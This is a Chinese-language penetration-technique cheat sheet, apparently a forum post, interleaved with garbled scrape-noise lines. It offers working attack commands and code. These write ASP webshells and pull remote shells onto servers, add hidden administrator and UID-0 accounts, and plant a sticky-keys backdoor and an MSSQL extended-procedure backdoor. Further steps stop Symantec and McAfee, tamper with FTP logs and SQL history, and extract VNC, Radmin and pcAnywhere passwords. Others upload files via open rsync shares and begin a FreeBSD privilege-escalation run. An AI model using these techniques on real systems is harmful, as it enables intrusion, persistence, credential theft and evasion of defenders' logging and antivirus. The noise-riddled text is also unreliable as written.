渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
1 _/ y# D- t$ y2 _) i" o. gOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
" X3 m( n, \2 R        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
- _: V, m! H7 W
Usage:Cscript vWeb.vbs",4096,"Lilo"
1 @- Y, {0 g4 w2 @4 Y6 V        WScript.Quit
; U8 z# x  t+ hEnd If
Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
' E: S: ]- f% ^% RFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)

, `# p0 W; Z: ]! rThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
% P7 B, v8 }  t% y' v! [: U         
7 D6 y* Q# v2 A7 _, t
. j0 h% q  k6 ]1 z       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
( c, x  _3 c3 W# r                If Err

% t% v: ?8 e1 y& n6 }5 A3 f<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

% ^8 q6 Q' u* H+ fOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     

" G3 M( \8 G; {% W  v# K, ]+ k                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      

3 e# j4 p# A1 w  @3 y1 U' u         WScript.Echo "ath            : " & VDirObj.Path
* S0 R) w1 s* d; D4 s- E        End If
% c9 e* p' X9 A8 a: B- P/ p6 ~Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
2 j+ v8 X4 A. S! J4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
+ L# m3 p% `) I! E: J+ z4 x—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
1 r) c0 P% ^. ?# R, [url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
0 b- I% r: A/ dphpMyAdmin/darkblue_orange/layout.inc.php
" {/ E/ i2 v  R0 d+ @- wphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
; }: s/ ]8 H6 aCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
2 }& p$ z& P: onetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
# r' V% J6 A; xnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
+ E$ F/ K5 m! }, [————————————————————
( W+ S6 I4 H% J6 L( X% A! f; v命令行下添加SQL用户的方法
9 X% M$ l% M" K% n- O需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
4 J( F- O! b/ [1 R7 p/ KEXEC sp_addsrvrolemember 'test, 'sysadmin'
8 B) j0 _" }7 F& y: Y& v然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
: [/ r/ \. Y* k) ]- |  P9 Pvar o=new ActiveXObject( "Shell.Users" );
) k9 ^" A7 T- Y% |4 lz=o.create("test") ;
( B, }. ^+ R. i; M; N! A( S4 gz.changePassword("123456","")
# P/ G) j7 ?1 s, N9 D' ]/ tz.setting("AccountType")=3;
& A/ H( C8 i) z+ P3 @4 U. N4 i
8 A' m- t' D" z+ l0 Jvbs:
Set   o=CreateObject( "Shell.Users" )
8 Y% ~5 N3 A4 ]/ e3 U2 [Set z=o.create("test")
- J+ A" g5 [+ H. ?" Pz.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
" I  X9 u0 K6 w4 ~cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
" Q) _# i) @4 ~+ r* Wcacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
: {4 J/ R5 u# M0 pb、内网环境（LCX）
: w+ l! f# o' ?0 vc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
5 W6 I$ y# z" V) {3 L# q1 i2003 运行mstsc /console   
3 i. [2 V7 R. @* T% C8 H
杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
/ T; O* w; Q* Q( O9 knet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
+ @; z1 g" A  i8 z% H# A: r9 F7 pnet stop "Symantec Event Manager" /y
3 r$ n- L+ E; ~7 ~' V! H9 gnet stop "System Event Notification" /y
3 t. _' x  t; b3 r, R) \5 a3 cnet stop "Symantec Settings Manager" /y
6 I1 p/ c9 j5 h1 {& F. d4 Y
- x4 ?6 @* U% I6 G, G卖咖啡：net stop "McAfee McShield"
" M; ?' S1 W; C; h# o. z9 D————————————————————
7 Z1 r, p8 G% }: A: z
  w5 h8 ^$ A/ Q5次SHIFT：
5 ?# w2 T8 |- Y2 lcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
" F! H! Y. m# v- k4 H& Bcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
' }: `5 g+ M$ g" R6 b* |8 ]- [隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
! n9 M' r$ D* v" B" S, [2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
( K, W/ Z( Y& x) i# d6 L4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
- O% h- Q! v, J. R1 @8 L4 |$ c+ z& W+ UMSSQL扩展后门：
9 H! f( C" U" ~& l/ pUSE master;
  b0 S1 E, t* q. D: Q6 NEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
! c% r  Z$ t2 kGRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
- ~4 V( c1 B9 ]  w: UC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
: ~) i; h" G5 W2 E( `/ N; k  ?8 iex011120.log / ex011121.log / ex011124.log三个文件，
: q; |5 h( `  G+ T直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
; k5 Z6 ?( e: b) W6 V7 n
) g; Q) f( }7 PMSSQL查询分析器连接记录清除：
8 @/ N6 n: @0 C1 k- A1 u* J7 ZMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
2 x. r# h# V: |) Y找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
4 [% j' F- V# c7 R6 h" E
2 h& b: a( q" R2 o+ K; |/ z+ _Server\90\Tools\Shell\mru.dat
: l8 `5 `/ f3 c1 u( ~—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
8 ^# f. k( ]+ h9 Q
<%
& l$ h' R4 ~7 k- G0 y5 kSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
$ s# [$ }8 T, r: q2 [1 w/ tDim Ads, Retrieval, GetRemoteData
; p3 g' Z2 j! g1 ZOn Error Resume Next
7 M4 {6 }# G8 R7 }! V+ bSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
2 n+ x% z# F% FWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
, d( h: x: {, f6 pGetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
- q  u+ S. C6 p( W: @) ]- Y" aSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
) c& _2 ?6 @5 c# z' O.Type = 1
7 E; ]( G/ J1 g) }, E.Open
.Write GetRemoteData
' g* c. b0 o8 e& C$ W9 o2 I.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
/ \' `6 ?4 D2 w" A.Close()
End With
  ?' g. K: P# f* ?% sSet Ads=nothing
. z. ^& V, K' w# s* i3 z6 X8 L1 H7 VEnd Sub

- C0 h& [- Q* ~eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
/ w* M- b% `- ]8 w%>

$ w; ^; i4 K8 _! bVNC提权方法:
( `$ R7 M7 i0 M  l% @利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
+ [6 z; q3 G) E0 ]+ v! X6 d, w; H: vRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
6 ]. x7 M2 Q- ?9 [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
, d, H1 p& W' T: s3 ~  s7 O& s保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
4 A( b* e0 [* wUsers\Application Data\Symantec\pcAnywhere\文件夹下。
, x0 g, Q; H* L- O1 q9 p3 \——————————————————————
/ x0 ?1 t/ R1 |1 I: m0 ^- I搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
- u# i- H: t  J! y/ W$ v——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
: c2 E5 T% s1 ^. S" }5 |, F) n<%
strSQLServerName = "服务器ip"
( e+ a8 X% n1 F; {  |strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
, ~( }+ h9 [: j! n- _Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

3 e; x) R* U* J/ Y) x7 Q$ @";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

3 O# O1 M/ }3 j8 CstrSQLDBName & ";"
( S. w, |% Y6 Dconn.open strCon
dim rs,strSQL,id
5 z: n/ e, ^; A+ w0 ?! Hset rs=server.createobject("ADODB.recordset")
8 }5 i" w, B$ w# ^, _9 p! Kid = request("id")
$ d% v' u7 [3 U1 G+ m6 VstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
& S4 @2 G0 ^. g- K* C%>
, t8 p" ~  Z( z) N) A( W- ^复制代码
******liunx 相关******
) {$ R1 S/ Y; o9 [一.ldap渗透技巧
: b+ A% u; O" G  K1.cat /etc/nsswitch
' A. Z2 E2 D4 Q2 f" _9 r- g看看密码登录策略我们可以看到使用了file ldap模式

+ d. {) L7 u4 G' a/ T2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
- o. m7 t0 |5 j6 A
% c0 [& W; \$ p, l: o6 W) Y) k' `3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
8 a  \" K: S8 g3 w7 C
$ }; J. t% G- X7 z5 k. @"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

* ^& }+ r! y# c2 O"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
4 @* R! t5 B' T0 `( ?! t
; E8 C) l1 r5 P& s/ W
: h$ g# t4 l8 @/ I  d( y4.查找10条用户记录
; I, s' o: o3 y2 p2 h" eldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
: h* ?! L  j0 X+ I% o
实战:
1 J1 p  G5 V% H1 Q- U' q1.cat /etc/nsswitch
! [' A  W# s. Z! f& g看看密码登录策略我们可以看到使用了file ldap模式
. Y! N# r# ~6 U5 J8 G* o
6 I- }& F5 ]2 f2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
$ I2 B/ ~% A/ W) e3 C4 \; N) O找到ou,dc,dc设置
4 `5 _# Z& ^& R+ i
" u/ P# [7 A# M- N1 s, R: Q3.查找管理员信息
, A( S3 n; p0 ]  }6 X$ F5 y) \匿名方式
9 i  R1 v; }4 e: E5 j8 ildapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
& o4 c6 F! u5 C; y  {
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
4 X( ]0 H& F0 T有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
, n7 @( v/ A2 }% U% z0 v
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

8 ?/ B6 v7 z2 _! m/ E
0 Z. Z' c  j2 k4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

  a4 h& J3 c+ B渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
" z4 _% ^" E( v" f7 C& k, x6 G" y) aversion: 1
dn: dc=ruc,dc=edu,dc=cn
+ H+ Q- K: G! `& R7 udc: ruc
objectClass: domain

( X( e' l# R5 K3 }dn: uid=manager,dc=ruc,dc=edu,dc=cn
% e( Q. k0 ]- V+ K5 Q$ f7 B: ^uid: manager
objectClass: inetOrgPerson
2 [+ P# Y1 T3 p4 b( C! X; @1 eobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
cn: manager
/ b$ m; `! x5 a  [) k
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
/ R& t4 a  Z3 d  C. x( t- d2 IobjectClass: top
8 w' G: ]- {+ }0 V: y3 o3 Z6 ysn: superadmin
cn: superadmin
0 s9 n8 P) V. H9 {' ]8 H- x
( [% J, K' `$ n0 e3 E. ndn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
: ]! s. ]2 m% J; r( P/ oobjectClass: inetOrgPerson
objectClass: organizationalPerson
/ B1 Z& n0 G& \% Q6 w+ G1 J$ cobjectClass: person
8 Q! R9 J- F- v0 `( {objectClass: top
sn: admin
; ]5 L3 }7 J+ X) V% j3 a2 dcn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
9 g4 \6 p9 c  t/ o+ zuid: dcp_anonymous
& d# b* H- f5 VobjectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
& S" `6 m3 Q8 l$ p1 ]sn: dcp_anonymous
& Z# F3 {, w) Y/ K9 B! O) scn: dcp_anonymous

2.查看基类
  y0 C- I; Z1 |  K1 ~bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
5 j% P0 Y8 K6 Q$ s% Nversion: 1
dn: dc=ruc,dc=edu,dc=cn
' |% `  W2 \8 C3 G: [4 K2 m) cdc: ruc
. ]) X7 @5 d8 C4 V" robjectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
! T7 R0 ]" k( t$ l; v1 h+ M( N7 Uversion: 1
dn:
$ G$ N8 y2 _; o8 IobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
: ^( l0 R2 W6 i* I; a  I  \+ EsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
" }/ G3 W% D9 G4 S  O: }supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
. d+ l) w$ a: O$ t/ HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
6 d  H: k4 }( |' wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
# ]" B7 b5 i. u# i" N3 e$ p, D9 OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
9 N, G1 I% q9 f2 T) s& H1 E5 ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
6 Z1 W  {$ E5 i/ X" ~- h% osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
" e# P8 B. n, j, h$ X" i: Y% ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
' B7 i3 g4 s+ ]% @( h$ ^; {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
: P* q! Q4 J$ ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
  G( p) y4 W, h! w' J' dsupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
" f' h+ O# j+ a4 V  a* nsupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
. F( B# ?" \" W1 t8 rsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
! [3 m+ y' v1 C. RsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
3 U9 q( t* N  J4 `, lsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
4 q- n$ I7 s9 d" P) ]) F6 UsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
* E9 I* X6 z4 S$ F# j" vsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
3 \8 i- ?5 @) V4 psupportedControl: 1.3.6.1.4.1.1466.29539.12
$ G: L3 L% j6 Q3 _+ CsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
" e* K& F/ v7 A/ g# {4 @supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
( A" Q- @) H7 d& msupportedLDAPVersion: 2
& h$ x9 W6 F2 _6 D6 PsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
" I, H" X& @% YsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
& X7 e0 N$ j8 g1 p9 W1 o( \1 csupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
3 j5 u& R& s6 Y" u2 f& O- e( |supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
$ p; x  Z3 A! j( [+ q7 g9 WsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
; z& u, p. e! j0 x$ M- ~4 ^supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
% O3 G8 c% l+ v0 W  ?* w% y  KsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
% e; N/ u5 k' C( L9 `& G& `; CsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
; h- h/ r3 z* B% p! h, CsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
, z& Q" }4 w2 e; Z4 fsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
$ F; m1 `7 N0 T7 OsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
0 _# D% v: e% R4 xsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
0 {) K1 a) F. z# }* N3 ~supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
5 P$ s- D+ B9 w5 xsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
: U+ m' D  e' c$ bsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
$ t  I6 V5 P) Z7 r) ?) H; v' PsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
2 ]+ [; E1 a7 _  L; @, osupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
7 u' `0 i- E9 _6 K" ~( v* {3 @supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
0 J2 [- X( E& T7 U; @% g7 k0 X* E: dsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
" K% H, C5 D8 y  T6 y) ]( W————————————
) r" `. M2 W3 B: C6 ~) Q2. NFS渗透技巧
3 m1 a" W% @! N) g  ishowmount -e ip
列举IP
——————
3.rsync渗透技巧
. V6 [$ _/ P9 D- x' c/ k1.查看rsync服务器上的列表
rsync 210.51.X.X::
$ ^, C5 Q2 N% v, s6 M7 q" F, f2 ^finance
img_finance
' f0 }. e  u. ?2 iauto
img_auto
html_cms
4 d+ H* b4 _: r6 ^9 j& }2 ?img_cms
ent_cms
ent_img
' x% k7 Y" N5 _- v8 R# L4 L" eceshi
res_img
1 l( o; Z# M* n0 ares_img_c2
* I6 e. c- |& \' f; f9 vchip
& ]% M: s! J: y: {' ?8 Ochip_c2
ent_icms
% P+ J, Z7 O! }0 P% Dgames
2 c6 G9 x/ [7 B8 X5 Cgamesimg
9 x  R8 [) k$ _media
' Q  }3 l2 `& A: Z: F$ R+ Umediaimg
/ _  q7 i, Y7 J- X0 i9 S, k# yfashion
; W7 z, C/ V- g* P5 ?: ]5 [( M5 M" Rres-fashion
res-fo
taobao-home
res-taobao-home
house
res-house
. a% |( y2 h2 }( \0 b9 y" g2 Yres-home
res-edu
res-ent
1 c4 @& \% ?" s# u0 J) ~res-labs
% G. K" B2 C  d# n, i( u: Y- N8 Pres-news
1 @+ t5 Q/ p2 v4 D# u" {; g* [( ]9 dres-phtv
res-media
/ P" T+ ~& V9 R" Y. [home
+ H  Y: l# m2 S8 Z# L' d% Redu
# Y/ W! _& b, B$ [' tnews
res-book

看相应的下级目录(注意一定要在目录后面添加上/)


! ]- b2 U; D, }  F7 _rsync 210.51.X.X::htdocs_app/
) L. B3 t9 I2 y/ \rsync 210.51.X.X::auto/
& w  P& o  w, j) s: e& Hrsync 210.51.X.X::edu/
3 Q, ]- v2 K1 ~* G% S
2.下载rsync服务器上的配置文件
+ W& i$ y1 l2 e& d; ?! C0 ersync -avz 210.51.X.X::htdocs_app/ /tmp/app/
! N& T+ f' T8 ^' ^. v. w0 _
3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

2 o8 L# L, s: J2 L四.squid渗透技巧
: n1 f' t: i8 K  g- d3 j" pnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
( b4 i# H$ V5 }3 s* v  g( d# RGET HTTP://WWW.sina.com:22 / HTTP/1.0
! j1 x( d$ ~* _/ C+ q五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

0 P+ D* C  b# _2 F5 ?$ h( y六.joomla渗透小技巧
; I  Y* y) l( n5 e" d; W( p; m确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
! l5 o6 x' t* |
15&catid=32:languages&Itemid=47

重新设置密码
index.php?option=com_user&view=reset&layout=confirm
( A% U. W+ E: C7 M
2 K2 `+ G/ s6 h+ n七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

八.freebsd本地提权
  a+ U& e  |4 d( }; N[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
, m) x. Y( l# {# o* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
3 j1 D" Q; |0 v) I* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
6 U2 Y) J3 i# E* [argp@julius ~]$ ./nfs_mount_ex
*
' |9 _( G/ `9 t0 xcalling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
3 Y+ J$ Y$ f) \' @# [' c感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
. _+ e/ x) q0 G; H3 F{
$ J4 n5 S7 W) R9 C# C- L+ f注：
